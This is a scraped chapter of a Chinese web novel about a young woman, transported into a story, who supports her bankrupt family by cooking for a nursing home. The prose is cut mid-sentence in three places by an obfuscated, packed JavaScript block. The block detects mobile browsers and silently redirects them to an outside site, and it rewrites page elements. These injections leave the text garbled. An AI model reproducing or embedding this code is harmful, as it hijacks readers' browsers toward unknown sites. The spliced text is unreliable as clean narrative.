《在养老院当大厨的日子[美食]》 1. 白玉素汤面 苏桃穿书到新世界，已经有一周左右，渐渐适应了目前的身份。 她在一本狗血玛丽苏文《甜蜜专属》中，而整个苏家，空空荡荡，家具都搬空了的家里，一家五口全是炮灰。 原本苏家是星海市鼎鼎大名的财团之一，家中坐拥豪车几十辆，连绝版老爷车都花费上亿拍到过一辆。家中所有用具价值不菲，落地窗前，被郁葱葱树木所衬托的风景里，窗户旁摆着的那架雪白钢琴是曾经查理二世找人亲手定制的，上面镶的珠宝都是波斯黄钻，稀世罕见。 原本如此庞大的家业，却在一夕之间，因为得罪了更加厉害的势力而一落千丈，逐渐落寞，苏家不得不变卖家产，连家具都被搬空。如今只能住进一处小巷子里的二层小房间，一家人挤在里面显得格外落魄。 而他们得罪的势力，就是书中男主所在的许家。只因苏桃所在的炮灰家庭阻碍了男主许言琛和女主艾妮在一起，许言琛便动了“天凉王破”的心思。 “真够倒霉的……”苏桃暗自喃喃，这种狗血的剧情，没想到竟会发生在她身边。 算了，既然是炮灰，如今已经得到了所谓反抗许言琛后“应有的下场”，肯定脱离了主剧情，只要不再被莫名其妙地卷进去，大概率不会再惹是生非。而现在，面对困窘的家庭状况，还是要想办法解决。 但问题在于，苏桃刚刚在海外上完希罗利尔大学回来，本来要继续深造，可现在家里没钱供她，本科都没来得及毕业，家里都破产了。要像父母期待的一样，找到一份好工作，基本不可能。 不过苏桃很快有了想法，大学肄业对一些专业工种来说影响不大。毕竟她从另一个平行世界穿越而来时，可是知名粉丝都有5000多万的美食主播，做美食根本不在话下。像她这样没有这个世界高级厨师证的，进不了什么五星级大酒店，不过那也没关系，原主以前跟同学打赌，阴差阳错考过一个初级厨师证，能应付普通的厨师工作。 思来想去，苏桃都觉得家附近的一处养老院最合适。那地方已经挂着招聘启事有好几天时间了，离家近，走着就能去，省去了交通费，房租也不用另出，住家里就可以。妹妹苏小糯在上小学，弟弟苏睿安上初中，孩子们能指望得上的只有她自己了。 当然，苏桃父母也在重新创业，尝试了小成本的摆摊儿，卖手工编织品、烤串，但都因为家族曾经地位太高，拉不下脸来做小买卖而导致生意不好。不光没赚钱，还搭进去一些成本。 没办法，他们只有去办公楼应聘一些边缘的白领岗位，但愿没有因为许言琛的势力影响而导致那些公司不录用她们。 不过，前提是许言琛的影响力能辐射到这座城才行。苏家破产以后，苏爸苏振岳已经带全家搬离了星海市，专程换到安淮市，房租更低，更适合生活。苏振岳虽然破产，奢侈品衣服也都卖了钱，身上穿的虽然是平价的新衣服，不过气质摆在那，怎么看也有曾经富贵人家的样子。两人出门继续找工作了。 而苏桃则转头去了楼下的家家乐养老院。那则招聘启事还在挂着，苏桃带着办理好的健康证，说明了面试的情况后，保安放她进去。 养老院院长唐悦心最近也很头疼，看到苏桃推门进来，先是一惊，这次来应聘的大厨这么年轻，看上去刚上大学的样子，经验方面到底足不足？ 她招招手请她过来坐下，苏桃坐在办公桌对面的椅子上。 唐悦心开口：“实不相瞒，我们招厨师有一段时间了，一直没找到合适的人选。主要困难在于，给养老院的老人们做饭菜，有很多讲究和注意事项。不能太过重口味，但是用食材本身原汁原味，抛去那些花里胡哨的东西，能做得好吃的其实并不多。我们之前有两个厨子，做的就是家常口味，但是我们这里老人们有的味觉比较弱了，或者身体虚弱胃口不好，吃起饭菜来感觉没有味道，就很挑剔，久而久之就不愿意吃饭，都给饿瘦了，我们看着也很心疼。情况就是这样，比较特殊，如果你能接受的话，我们再来讨论下一步的问题。” 苏桃眨了眨眼睛。她在原世界之所以能收获那么多粉丝，正是因为自己在直播视频里所做的饭菜，观看者拿去复刻以后，都被那好吃的味道惊艳到了，于是忍不住关注她。她的观看群体中有一部分老年人也用她的菜谱做过饭，给出的也都是一致好评。 于是苏桃微笑：“我可以试试。” 院长唐悦心点头，说出其他问题：“我们家家乐养老院现在人手不够，一个人要做很多道菜，速度能不能跟得上？还有要提前备好当日食谱，营养荤素搭配都要做到。还得定期回访老人们对哪些菜品满意，哪些菜品需要加以更换……” 专业方面的问题聊了足有一个小时，苏桃都表示可以接受。 院长唐悦心决定给她个机会：“那你明天就来试试吧，先做几天饭试试，如果可以，我们就签合同。放心，这几天不会让你白做，如果双方都觉得不合适，钱我也会结给你。” 走出家家乐养老院，苏桃心情好极了，连带着觉得今天的阳光也特别和煦。毕竟虽然原主考过厨师证，不过简历上并没有任何厨艺方面的从业经验，更是连大学都没有正规毕业。这样的条件，很少有用人单位敢用。能得到一次尝试的机会，她已经知足了。 今天不知道什么好日子，妈妈沈婉柔的工作也找到了，是财务方面的工作。沈婉柔虽然嫁人后没上班，但学历不低，考过一些经济师的证件，这次都派上了用场。虽然公司规模小一点，但看起来还挺稳定，运营了十几年时间。 只是苏振岳还没找到工作。不过一家有两个有了着落，苏振岳心情也好的不得了，打算系上围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670064|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙去厨房做饭的时候，被苏桃拦住了：“爸，今天我来做，大家尝尝。” 苏小糯坐在凳子上拍手：“好呀好呀，我还没吃过姐姐做的饭呢！” 弟弟苏睿安因为住校，今天不是周末，没能回来。 “你说你在海外没有食材的时候都自己琢磨吃的，这厨艺就是你那时候学的？”苏振岳好奇。 苏桃点点头，刚好可以蒙混过关：“当然，海外那几年，我厨艺长进了不少呢，要不然我也不敢去应聘大厨啊！” 但苏振岳、沈婉柔还是表示怀疑，毕竟他们两个的基因在厨艺上，苏振岳是普普通通，沈婉柔更是炸厨房一等一的高手。家里之前都有厨师，还是高价请过来的，有时还会换不同菜系的厨子，西餐、中餐、法餐，水平都是一流的，哪里轮得到他们夫妇两个做饭，所以常年厨艺不长进也是正常。 只是他们没想过家里还能出一个厨子，明天就出去上班了，怎么想都觉得不可思议。 两人不想打击苏桃自信心，但还是有所怀疑，在苏桃进厨房后，低声问：“桃桃的厨艺真的能行吗？” “是啊，明天可是养老院的老人们吃她的饭，城里的老人们一辈子吃过的盐比年轻人吃的饭都多，什么都见识过，嘴也会变刁的。” 没错，沈婉柔点点头，就像他们两个，人这一辈子谁没有过辉煌点的时候，那时候什么好吃的都吃过了，哪家米其林餐厅没去过，哪家口碑最好的街边小店没吃过，口味都养刁了，对大厨的要求自然是水涨船高。 而苏桃却不说话，在厨房找到食材，真是可怜巴巴，青椒只买了一个，蘑菇就几根。看来家里的经济状况比她想象的还要糟糕，每次买菜只是将就够这一顿吃的，买多的话就怕放坏，太花钱。这么素，看来只能做一碗素面，用鸡蛋、木耳、豆腐干丝佐成，这样消耗的材料就刚刚好。 苏桃相当麻利地处理食材，热锅烧油处理鸡蛋，将煎好的鸡蛋切丝备用，其他食材一切就绪，之后开始起锅烧油，油热下锅炝炒食材，把提前用一小块豆腐熬煮出来的素高汤盛出来放进锅里，用手工擀制的拉面，擀得又细又长、筋道滑溜的面，下入锅中，像玉丝一般晶莹剔透。 苏桃动作相当麻利，没一会儿面就被盛进四个碗里，面被端上了桌。莹白玉色、被拉拽得粗细均匀、看起来就很筋道的面卧在碗里，上面码着不同的菜丝，在微微泛白的素高汤上，乍一看还真挺像那么回事，漂亮得很。 沈婉柔不由感慨起来：“这是我家宝贝女儿做的汤面啊！”她凑上前就这么轻轻一闻，就香的闭上了眼睛，“哇！怎么会这么鲜。” 苏小糯用筷子挑起一根面条，嘴巴一吸就滑进了口腔，苏小糯立刻睁大了眼睛，不可思议地看着苏桃，嘴巴却舍不得停下来，腮帮子塞得满满的、鼓鼓囊囊。 2. 桂花糕＋黄焖圆子 只是一碗简单的素汤面，就能做出如此滋味丰富的味道。高汤白色香醇浓厚，搭配格外入味的菜码，面条劲道十足弹牙可口，鲜得差点让人能吞掉舌头。 苏振岳、沈婉柔完全惊呆了，吃得停不下来。饭桌上例行的聊天也自动暂停，光顾着吸溜面条，吭哧吭哧吃完了一大碗，吃相都变得没平时那么斯文体面：“唔，好吃，太好吃了！桃桃，你这手艺真厉害呀！” 直到当晚，妹妹苏小糯在睡梦里还见到了姐姐做的白玉面条，伸出手在空中抓呀抓的，回味着晚上的素汤面，口水都要流出来了。 送苏小糯上了小学后，苏桃转身去了家家乐养老院。 由于最近招不到厨师，上一个大厨老家有事走得相当突然，院长唐悦心根本来不及招新人，所以家家乐养老院厨师短缺，只有院长先叫人去外面买饭顶住一段时间。苏桃来了，也能轻松一点，不用院长把所有精力都应付在这一日三餐上。不过，早饭还是院长唐悦心带几个看护人员一起出去买的。 等苏桃来了，定好中午的食谱，上午就出去买菜了。 家家乐养老院规模不大，目前有100多名老人。每天中午，有三个荤菜、四个素菜，一份汤品，主食有米饭、点心等，还有一些餐后小水果，水果都是按季节来的，比如现在的季节就适合吃一些西瓜、蓝莓、圣女果等，摆盘也很精致。 菜市场就在穿过旁边小巷拐个弯就到了，是附近最大、最热闹的菜市场。外面虽然乱了点，人也多，但一进去，苏桃就被新鲜的蔬菜所吸引。安淮市近郊都是平原，种植着大量蔬菜，很多是直接从郊区拉过来，当天早上送到菜市场，看上去格外新鲜。 苏桃挑选着一些翠绿的青菜、肉质肥厚的香菇、白嫩嫩的莲藕、粉里透红的番茄等，装满了满满一大袋，放在身后的三轮车上。 这是院长唐悦心为她配备的三轮车，方便她买菜用。 买完各种蔬菜后，苏桃回到家家乐养老院，一头扎进后厨。进入厨房，她快速将食材分类，决定制作一道黄焖圆子。 将粉白相间、漂亮的五花肉切成块，剁成肉末，加入少许盐、胡椒粉、淀粉，在里面团入适当馅料，搅拌之后，团成一个个可爱的小圆子，放在晶莹剔透的玻璃碗里，再将肉馅在笼屉上蒸熟。 接着开始炒制浇头酱料。苏桃对黄焖圆子进行了改制，根据现有其他菜肴可能用不完的蔬菜，将青笋切丝、木耳切碎，在锅中煸炒后，调入少许酱油。 这酱油是苏桃在家里自酿的，自从来到这里，她就开始着手准备。在原世界，她也吃自制的调料，因为比外面超市卖的要更加纯正，吃惯了自己做的，再吃购买的会有一种滋味不足或勾兑之感。 用饱满圆圆的黄豆就能制成自制酱油，她因为购买了清酱曲，跳过了发酵的步骤，所以速度会大大加快。 而现在，她将调整好的酱汁熬煮得恰到好处，出锅后淋在那些晶莹的肉圆子上，这道黄焖圆子就做好了。 苏桃一次性做出来的菜量都比较大，将它全部倒在一个方圆形的大盆子里，把盆子拿出去放在食堂架子上，一放一摆，就成了今天的菜品之一。 孙金芸正在养老院院子里散步，老远就闻见了味儿，鼻子动了动：“咱们换厨子了？闻起来和以前不一样啊！” 她背着手，慢慢走着，旁边和她住养老院房间隔壁、现在已经成了老闺蜜的郑雅芹坐在院子的椅子上，正在按摩腿上的经脉。 “换就换了呗，之前也不是没换过，做的都不怎么好吃，勉强下咽。也不知道是我现在嘴刁了，还是他们水平真就是如此。” “嗨，咱就是个普通养老院，人家院长唐悦心也不可能给雇五星级大厨啊！何况你没做过饭吗，做一份饭好吃，做的份数多了，几十个人甚至一百多个人的，都得拿大铁铲炒，大锅饭嘛，想想看味道能好吃到哪？既然来了家家乐养老院，你就得适应。” “我说孙姐，我真适应不了，好馋我女儿做的那口儿糖醋排骨，红油润润的，一口下去，香得不行！” “我看这厨师很年轻的，是个20多岁的女孩子。”孙金芸挪了两步，趴在食堂玻璃上，透过玻璃往里面看去。苏桃正端着一盆菜出来，味道更勾人了。孙金芸拉着郑雅芹：“走走走，咱们去看看。” 刚一进食堂，两人就被好闻的肉香气环绕了。她们探着脑袋往厨房操作间瞧去，果然里面只有苏桃一个人，不由震惊：“你就是新来的大厨？” 苏桃点点头，还没来得及说话呢，又有食材进了锅。那铁锅比平时家里用的要大个四五倍，放在灶火上，抡铲子都需要臂力，但气力大的苏桃丝毫不在话下。 没多久，又一盘菜就炒好了。她端着最后一盆走出来，放在架子上。苏桃看了看时间：“差不多了，两位阿姨，可以开饭了。” 孙金芸和郑雅芹对视一眼，这菜品看起来就和以往不同。虽说养老院的老人们吃饭都有健康的要求，但以前的厨师做的菜格外寡淡，就像没放什么调料似的。不过，现在就不同了，面前的不同饭盆里，红黄白绿，色彩格外鲜艳。 苏桃似乎是放了一些食用碱，能够保持蔬菜翠绿的颜色，所以各种菜肴经过她加工以后，不失色泽，好看又勾人，一下子让人食欲大动。 孙金芸连忙去拿了一只托盘：“快快，咱们是头两个打饭的，赶紧尝尝，我都忍不住了！” 郑雅芹一边拿着托盘，一边心里还有些嘀咕：“看着好看，也不知道吃起来味道怎么样？别搞些花里胡哨的才好。你倒是不挑，什么都能吃得下，我真佩服你这胃口。哪像我，自从早年间得过一场胃病恢复以后，吃东西就再也没那么香过。” 很快，她们都各自盛了菜肴在盘子里，还盛了一碗莲藕炖排骨汤。 郑雅芹的目光首先放在今天的点心上，点心颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670065|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色黄澄澄的，一层雪白，一层蛋黄，还有淡淡的花瓣，碾成碎末均匀地洒在其中，闻起来香香甜甜的。 郑雅芹咬上一口，淡淡的清香进入口腔，雪白的部分是山药茯苓制成的糕点，蛋黄的部分则是融合了桂花的汁液，用料健康不说，味道还释放出食材本身的清甜，苏桃没有放糖，只是放了淡淡的蜂蜜调和，保证它的甜度降到最低。 郑雅芹原本胃口不大好，喜欢吃甜点，但身体又承受不住，吃一口甜食就得放下，可这次不知怎么的，越嚼越想吃，最后径直将整块糕点塞进嘴巴里：“哎呦，我还要再拿一块儿。” 她说着，又去拿了一块桂花糕。“这大厨不错啊，点心是从哪儿买的？挺会挑，我以前住这片儿附近的点心店都跑遍了，都没买到过这么好吃的点心。” 苏桃听见两人对话，开口笑道：“阿姨，点心不是从外面买的，是我自己做的哦！”两人对视一眼，果然，能感觉到点心还是温热的。“阿姨，您胃不好，吃这个点心最合适了，山药、茯苓、少量粳米，都是养胃的食材。” 郑雅芹盯着桂花糕，如此精致的点心居然是这个年轻女孩自己手工做的：“姑娘，你这手艺真好啊！” 说话间，因为到了时间，其他老人陆续进了食堂。有的老人愿意自己盛，有的苏桃会帮忙把饭菜盛在递回托盘。 其中一名老人引起了苏桃的注意，他只给自己盛了一道红烧肉，但一道菜不够吃，他就疯狂地挖米饭，米饭堆得像小山一样高。 “爷爷，不尝尝别的菜吗？”苏桃好奇。 谢福升摆摆手：“红烧肉再难吃也难吃不到哪儿去，其他的菜嘛，还是算了，我别尝试了。”苏桃也不好再劝，只是觉得菜肴种类太少，老人会不会长期吃一道菜导致营养不均衡。 谢福升双手撑在桌子旁边坐下，对面是另一个老人何荣发。吃了两口菜，何荣发眼睛放光，直接把盘子里的果仁菠菜夹了一些还没动的部分，放在谢福升盘子里：“老谢，你尝尝这个，是我吃过最好吃的果仁菠菜。” 谢福升一听，眉头皱得老高：“我最不爱吃菠菜了，有股怪味。” “你就尝一口，不爱吃放嘴里再吐出来，我以后就不再让你尝试菠菜了，怎么样？” 谢福升没说话，只是三下五除二把红烧肉吃了个精光，眼前就只剩堆成小山的白米饭了，看上去的确没什么食欲。他思索了片刻，尝试着夹起那道果仁菠菜放进嘴里。 嚼了一下，一瞬间，有股春天的气息扑面而来，菠菜鲜嫩爽口，微微的米醋香提味，口腔里一颗果仁香脆爆开，一下子勾起了谢福升的食欲。奇怪，怎么跟他印象中青菜的难吃不同，一道不起眼的菠菜居然能做得这么好吃！ 谢福升的目光忍不住飘进了何荣发的托盘里，勾得他食欲大动。现在托盘里其他的菜，他也有心思想尝试尝试了：“那我现在还能拐回去重新盛几道菜吗？” 3. 果味酸奶＋鲜香鱼粉 谢福升这回一口气打了五六个素菜。原本不爱吃素的他，破天荒吃了个尽兴。 一时间，整个食堂都变得相当安静。往常老人们会各自聚在一块儿，边吃饭边聊天，这会儿大家的视线都盯着饭盆里剩余的菜，生怕吃得慢了，待会儿就不能再盛，被人抢走，都默默吭哧吭哧干饭。连几个饭量小的老太太，都起身走到饭盘前，重新盛了菜。 最后盛菜的李隼天，看到菜盆里空空如也，不禁拍了下大腿：“哎呀，我还没吃尽兴呢，怎么就没了？” 往常饭盆总有吃剩下好多的饭菜，这下可好，一干二净，连根菜毛都看不见。老人们回头再去盛饭的时候，饭菜都被盛得一干二净，连一点汤汁都没剩下。 苏桃对这个情况也表示意外，她对李隼天说：“叔叔，下回我再多做些，保证大家都吃够。” “好啊，小苏。晚上做些什么呀？” 苏桃指着旁边的菜单给他介绍了一番，晚上仍旧是荤素搭配，搭配的相当丰富。 苏桃从上午买菜的时候就带了酸奶机，放入酸奶菌正在发酵酸奶，到了晚上恰好能赶上。她将酸奶分成小杯，每杯里面添加了黄桃、桑葚等不同口味，尤其是桑葚口味的酸奶，被染了花青素颜色，微微呈现紫红色，好看极了。 她将做好的酸奶杯放在货架旁边一只冰柜里，随后开始准备晚上的饭菜。 苏桃还专门做了鱼粉，她提前去菜市场买了鲜鱼，处理完将鱼下锅两面煎至金黄，加水、料酒熬煮，等汤熬成奶白色，再将干米粉下入其中。捞出之前碗内放入葱花、酸菜、酸萝卜、脆花生等，热汤将不同食材的味都激发出来，和滚熟的鱼汤融合在一处，增添不同滋味。 老人们已经陆续来到，打头的老人冯迅柔看到了常规的饭菜，先打了一份，然后看到一碗鱼粉。鱼粉都是现煮的，不过苏桃在饭架上放了一碗，用味道来吸引人。 “小姑娘，好香啊，这是什么粉？”冯迅柔好奇。 苏桃一边介绍，一边对后面排在冯迅柔身后的老人说：“是鱼粉哦！大家有要预约鱼粉的，这边跟我说一下就行，我现煮现做。” “姑娘，我要一份。” “我也要！” 远远的，鲜香的鱼汤气息就钻入鼻孔，没有人能阻挡得了大早上嗦一碗粉的诱惑。苏桃挨个下入单份的米粉，煮好后递给老人们。 冯迅柔坐下来，用筷子一翻，鱼肉竟然还有好几大片，入口鲜嫩，而且没有刺。由于佐以酸菜的缘故，鱼肉和鱼汤显得很开胃，喝下一口，味蕾被激发，整个食欲大开，连带着当晚的饭菜她都多吃了一些。 由于鱼汤中加了少许白胡椒粉，昨天原本冯迅柔手沾冷水不小心受了寒，她体质差容易感冒，一直嗓子痒痒的，直打喷嚏，没想到一碗鱼汤下去，吃得她浑身暖融融的，甚至额头冒出了少许汗来。这么一发汗，人反而舒服多了。 坐在旁边的养老院五层住户黄齐翔是她对门，知道她的情况，刚好问她：“今天需要出去买点感冒药吗？” 冯迅柔摆摆手：“真的好多了。小苏做饭不光好吃，对身体也很有益处呢。你不是手脚老是冷冰冰的吗？你去尝尝这鱼粉儿，吃完以后手脚心也能暖起来，特别好。” “真的吗？”黄齐翔将信将疑。 “是啊，我还想再来半碗，太好吃了，根本停不下来。” “冯姐，你今天饭量是不是有点儿多啊？这才是早饭呢，吃这么多午饭还能吃得下吗？” “哈哈，能吃不是好事儿？” 两人一块儿去了打饭处。苏桃一看是冯迅柔，又来添碗，便问：“阿姨，这鱼粉吃得怎么样？” “可太好吃了，小苏麻烦你再多放点儿白胡椒粉。” 黄齐翔说：“那我多来点酸菜，我以前跟我那口子学的，可会腌酸菜了，不知道这酸菜的味道是不是以前记忆中的味道？” 苏桃于是盛了三四倍的酸菜给他。黄齐翔端着鱼粉回到原位，先夹了一口酸菜，一入口，有些惊呆了：“我尝得出来，这酸菜是小苏自己腌的，市面上根本买不到这样的味道。” 中午那会儿，院长唐悦心没有下来吃饭，她要管理整个养老院，琐碎的事情不少，都得自己拿主意，忙起来经常就不会来食堂，而是随便对付一顿，吃个泡面，或者是把家里带来的三明治吃掉。她也很好奇苏桃的厨艺如何，打算腾出时间来，晚上去尝尝新大厨做的饭菜怎么样。 院长唐悦心忙完手里的工作，出发去食堂吃饭的时候，已经是晚上7点半，食堂8点关门。这时候的饭菜应该已经剩得差不多了。 不过她发现，今天养老院的老人们吃饭好像挺积极的，刚才唐悦心打电话时站在楼上往下看，原本聊天、打牌的老人们，一等到6点开门，第一时间就冲进了食堂，速度快到难以想象，完全不是往常慢慢悠悠的节奏，甚至连负责护理的员工，有几个也跟着窜了进去。 院长唐悦心进去后，苏桃刚好看见，跟她打个招呼，放下手里正在清洗的菜盆：“饭菜不多了，不过还能凑一份。” 苏桃说着，院长唐悦心看了一下那些饭盆，总共六七道菜，现在居然只剩下两道菜，勉强可以凑出一份饭。但听说苏桃今天饭菜加量的情况下还能被吃剩到几乎干净的这种程度，不禁让她目瞪口呆：“这些菜全都吃光了？” 苏桃点点头：“番茄炒蛋，笋炒牛肉，我给院长各盛一份。这两道菜刚才也光盘了，但我估摸着会不会还有人没来吃饭，所以刚才又炒了两小锅，刚倒进饭盆，还热乎着呢。” 院长唐悦心盘子里一荤一素，看着其中的番茄炒蛋，心想如此简单的菜，味道炒出来大体都差不多，她也不很在意，把番茄炒蛋拌着米饭，一口塞进嘴里。 结果下一秒钟，她嘴巴里忍不住发出一声“呜”。这番茄炒蛋居然能做这么好吃？番茄味道如此浓郁入味，酸甜可口，鸡蛋从未有过的蓬松，香气十足。一道简单的番茄炒蛋，居然能令人惊艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670066|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，着实超出她的想象。 苏桃为唐悦心拿来一瓶酸奶，里面拌有一些黄桃果粒，放在院长唐悦心手边：“院长，你尝尝这个，刚才有的老人一连喝了三四瓶，现在也就剩最后这一瓶了。” 这酸奶看上去不像是外面买的，比一般的酸奶更加浓稠纯白。 院长唐悦心好奇：“一天时间内就能做好？” 苏桃点头：“刚好来得及，昨晚上我来，到现在，一般五六个小时就可以。只要提前购买那种酸奶机，后面自己调味道，健康没有添加剂。我也没放白砂糖，用果味的原香和蜂蜜来做的。” “蜂蜜是槐花蜜、桂花蜜？”院长唐悦心问。 “蜂蜜也是调好的，是用梨汁混合蜂蜜制成的，这样蜂蜜当中层次感会丰富一点，还带有一种淡淡的果香。有一种梨汁冰糖，就是用梨的香气，味道比平常冰糖更好一些，所以我用了这种方法调和蜂蜜，感觉还不错。” 院长唐悦心不禁佩服，苏桃这动手能力也太强了，用一天时间里，居然还能自己做出酸奶，效率高不说，还能做一些简单的创新。 她拿起小勺盛了一口酸奶在嘴里，浓郁的奶香让她一口接一口停不下来。纯正、健康的品质，喝下去没有一点心理负担的食物，居然能好喝到这种程度，直接打破了院长唐悦心对家常菜做不出惊艳感觉的固有印象。 她当机立断对苏桃说：“小苏，待会儿你跟我回趟办公室，把合同签了，明天你就是正式员工。我之前招聘大厨都是4000元，毕竟你是初级厨师证，市场上给价不会太高。不过，我觉得你的水平值得更高一些，5000元，你看能接受吗？而且我管吃管住，在我这儿能省饭钱，食材的费用我掏，我会给你足量的买菜资金，给老人们买最新鲜最好的蔬菜。同时呢，给你留一间房，你平时一天三顿饭，空闲时都可以在那房间里休息。养老院经常会组织一些外部活动，你跟会员待遇一样，都能免费参与。你看这样可以吗？” 苏桃点点头：“好啊，我没问题。” 5000元对苏桃来说已经算不错的起点了。毕竟她最担心别人嫌自己厨师等级低，没有经验，太年轻，大学肄业，这几项院长都不那么在乎。离家近，省去车费，晚上回家省去住宿费，怎么算都是划算的。 苏桃跟着院长唐悦心签了合同，拿到属于自己的那份合同，从院长办公室走出来，迎面和几个老人碰上。 几个老人看见苏桃，笑眯眯地说：“小苏，我们好久没有吃过这么踏实的一顿饭了，吃完以后好有满足感，晚上多在院子里转了几圈儿，感觉精神头儿都好多了呢！” “小苏，你这厨艺是祖传的吗？怎么会这么好？小小年纪就有大厨的本事，将来可真不得了啊！” “今儿晚上的酸奶可真好，吃完肠胃好舒服，感觉饭菜消化得都顺畅了些。” 苏桃和老人们道别，已经是晚上8点半了。她在养老院已经用过自己那份饭菜了，这会儿往家走去。 4. 胡萝卜鸡蛋饼＋糯米排骨 回到家，苏振岳和沈婉柔很关心苏桃的情况。得知苏桃拿到了正式合同，也为她高兴不已。 苏小糯抱着苏桃大腿：“姐姐，我好饿。” 苏桃蹲下身问她：“你们不是在家吃过了吗？” “是爸爸做的饭，可是我想吃姐姐做的。如果姐姐做好饭，我还能再吃一顿！” 苏桃笑了，说：“那这样，以后晚上，如果养老院有没吃完的点心糕饼，我打包带回家，给你好不好？” 苏小糯“嗯嗯”地点头。 苏桃和苏小糯一个房间，看着她主动预习了第二天的课程。苏小糯乖乖坐在那里一动不动，是个爱学习的孩子，这是她在以前贵族小学时养成的习惯。苏桃和苏小糯住一间房，哄着她睡觉。 第二天早晨，苏桃早早起床，送苏小糯上学，然后去了家家乐养老院准备早餐。 除了常规的鸡蛋、牛奶、八宝粥以外，苏桃还亲手做了不同的主食烙饼。她将买好的新鲜胡萝卜洗净切丝，鸡蛋磕开在碗里打散，将胡萝卜丝剁成泥，和鸡蛋液一起搅拌，很快就摊成了一份胡萝卜鸡蛋饼。面粉很少，蔬菜占了多数。等烙完以后，清新的胡萝卜、鸡蛋香飘散出来。 “哇，好香！” 刚满55周岁的佟乐艺手里还拿着练舞用的扇子，这是她业余的兴趣爱好，有时会和养老院的姐妹们一起跳扇子舞。扇子边缘有长长的飘带，一跳起来，扇子犹如舞动的精灵，好看极了。她还没来得及放下手里的扇子，就把它卷起来，一块儿带了过来。 “哎呦，真丰盛呀，还有鲜肉荠菜馄饨，我来一份小馄饨。” 苏桃把一碗馄饨端给佟乐艺。馄饨汤里飘着淡黄的、切得细长的鸡蛋丝、紫菜、虾皮，还有几颗红彤彤的枸杞，色彩搭配得好看极了。 佟乐艺端着荠菜鲜肉馄饨，坐在桌子旁，用勺子盛了一口馄饨，咬开以后，馄饨皮里面是大颗馅料，肉似乎不完全是肉泥，而是带了一些有嚼劲的颗粒。原来是苏桃特意将馅料中的肉做成两种形态，一种是肉泥，一种是大颗肉粒，嚼起来更有肉感。将这两种肉混合在一起，辅以切碎的蔬菜荠菜，馄饨馅料丰富，一口咬下去，整个人仿佛都升华了。 “实在太好吃了！” “姐，你说的联谊会什么时候开始啊？院长唐悦心说了没？” “应该就是下周吧，咱就可以上台表演了，再排练几回就差不多了。” 苗爱花端着饭盘坐在佟乐艺旁边，感叹着：“我见你要了一碗馄饨。” “这馄饨好吃的很，皮儿薄，馅儿大，你看这皮儿都晶莹剔透，里面馅料的颜色都透出来了，小苏真舍得给料啊！” “是啊。”苗爱花托盘上还放了一块红黄相间的饼，吸引了佟乐艺的注意。 “那是什么？” “胡萝卜鸡蛋饼。刚好我拿了两块，姐，我给你一块，你尝尝。”苗爱花说话间一口咬下胡萝卜鸡蛋饼，面饼松软香甜，上面撒有微微的葱花，红黄配着一点点绿色点缀，让色彩显得更加鲜艳好看。 “这胡萝卜鸡蛋饼不错，看着胡萝卜汁把面粉都给浸透了，蔬菜清香气好浓郁。我再去拿两块儿。” 苏桃还在厨房摊更多的胡萝卜鸡蛋饼，因为她发现这饼备了不少的量，但是早上才来了一半儿的人，就已经空了。因为每个人都不止拿了一块饼，而且他们还想再来几份。苏桃两个灶台齐发力，不停地给胡萝卜鸡蛋饼翻面，保证饼表面煎得微微焦黄，上面还撒有一层芝麻，香气扑鼻。 苏桃将烙好的鸡蛋饼盛入大盘子里，扬声道：“来了，新一批鸡蛋饼来了！” 站在那儿排队的老人们，一会儿就将鸡蛋饼又抢了个精光。 苗爱花有些不好意思，挠着头：“哎呀，你看又没了，小苏啊，我们想上午在跳舞的时候备点吃的，不过现在外头的吃的都不如你这胡萝卜鸡蛋饼营养好吃，所以我们能备一点，上午训练的时候吃吗？” 苏桃明白她的意思，点点头：“锅上还正烙着，等下一批好了，我叫你们，你们可以装袋子里带走一些，反正今天肯定管够。” 苗爱花激动不已：“小苏，你可真好，谢谢小苏了！” 苏桃被夸得不好意思：“我先去厨房出菜品了。” 早上这餐饭结束后，上午老人们各自活动。他们虽然身在养老院，但对身体没问题的老人，室友可以出养老院自由活动，不过不能跑得太远，为了他们的安全考虑，外出时必须告知工作人员，而且要在中午用饭前回来。有些身体不佳的老人，会安排护理人员陪同才能外出。 这会儿，季美霖就在养老院旁边的小巷子里散步。忽然间，远远地看见一辆熟悉的车停在小巷口，她不由探着脑袋好奇地看了一会儿，直到从车上下来一个人，她才意识到是自己孩子来养老院找她了。她忙迎上去，看见大儿子一家季刚都来了。 “妈，你在外面溜达呢？” “是啊，今天阳光不错，出来晒晒太阳。你们怎么来了？” 